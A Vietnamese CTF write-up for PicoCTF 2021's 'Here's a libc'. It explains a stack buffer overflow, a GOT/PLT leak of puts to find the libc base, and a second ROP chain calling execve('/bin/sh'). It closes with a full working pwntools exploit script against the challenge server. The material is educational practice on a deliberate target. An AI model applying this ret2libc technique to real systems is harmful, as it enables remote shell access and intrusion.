Here's a libc - PicoCTF 2021 (Pwnable)
===
---
1. Chạy thử chương trình:

Có thể thấy chương trình convert các chuỗi nhập vào thành 1 chuỗi với lần lượt các ký tự in hoa và chữ thường.
Khi nhập vào 1 chuỗi có độ dài lớn, chương trình bị timeout.
---
2. Reverse binary:

Ta thấy hàm convert_case được sử dụng để convert chuỗi chữ thường và in hoa lần lượt

Chương trình thực hiện vòng lặp và hàm do_stuff() được thực hiện liên tục, chỉ dừng lại khi ta nhập string quá dài, có thể đoán đây là lỗi BOF

---
3. Hướng giải:
- Lợi dụng lỗi BOF, có thể chèn thêm các shellcode để khai thác.
- Sử dụng các ROP gadget để return đến GOT của hàm puts.
- Khi có return đến GOT, có thể dùng PLT để leak địa chỉ của hàm puts trên runtime.
- Lấy địa chỉ của hàm puts trên runtime và trừ đi địa chỉ của hàm puts trong binary, ta sẽ có được base của libc trên runtime.
- Sau khi có được base của libc, ta sẽ chạy lại chương trình (có thể thực hiện lại hàm **main**(), hoặc là hàm **do_stuff**()).
- Lấy địa chỉ các lệnh 'bin/sh\x00' và 'execve' trong libc, chèn shellcode vào buffer để lấy shell.
---
4. Thực hiện:
Lấy các ROP gadget cần thiết, cùng với đó là địa chỉ của hàm puts của libc trên local

Payload đầu tiên bao gồm:
- Chuỗi dài 136 ký tự để gây ra BOF.
- ROP gadget 'pop rdi, ret' để thực hiện return đến địa chỉ GOT của hàm puts (có thể sử dụng rsi, rdx, r9 -> r15 tùy ý).
- địa chỉ GOT của hàm puts trên binary.
- PLT của hàm puts (đến đây terminal sẽ in ra địa chỉ leak của hàm puts).
- Sau đó chèn địa chỉ của hàm do_stuff(), chương trình sẽ tiếp tục thực hiện lại.

Ta có được địa chỉ của hàm puts đã leak

Ta sửa base của libc thành ứng với trên server, sau đó lấy địa chỉ các lệnh '/bin/sh\x00' và 'execve', và 1 null pointer để thực hiện lệnh execve(/bin/sh, 0, 0)

Ta có payload thứ 2:

Và flag:

---
5. Mã khai thác:
```
from pwn import *
libc = ELF('libc.so.6')
elf_file = ELF('./vuln')
rop_libc = ROP(libc)
rop_elf = ROP(elf_file)
# lay dia chi cac gadget can thiet
pop_rdi = rop_elf.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop_libc.find_gadget(['pop rsi', 'ret'])[0]
pop_r15 = rop_libc.find_gadget(['pop r15', 'ret'])[0]
#dia chi cua ham puts tren libc local
puts_ofs_local = libc.symbols['puts']
r = remote('mercury.picoctf.net', 23584)
r.recvuntil("sErVeR!\n")
payload1 = b'a' * 136
payload1 += p64(pop_rdi)
payload1 += p64(elf_file.got['puts'])
payload1 += p64(elf_file.plt['puts'])
payload1 += p64(elf_file.symbols['do_stuff'])
r.sendline(payload1)
r.recvline()
leak_puts = r.recv(6) + b'\x00\x00'
print("Leaked puts: " + str(hex(u64(leak_puts))))
libc.address = u64(leak_puts) - puts_ofs_local
bin_sh = next(libc.search(b'/bin/sh\x00'))
nullptr = next(libc.search(b'\x00'*8))
execve = libc.symbols['execve']
payload2 = b'a'*136
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(libc.address + pop_rsi)
payload2 += p64(nullptr)
payload2 += p64(libc.address + pop_r15)
payload2 += p64(nullptr)
payload2 += p64(execve)
r.sendline(payload2)
r.interactive()
```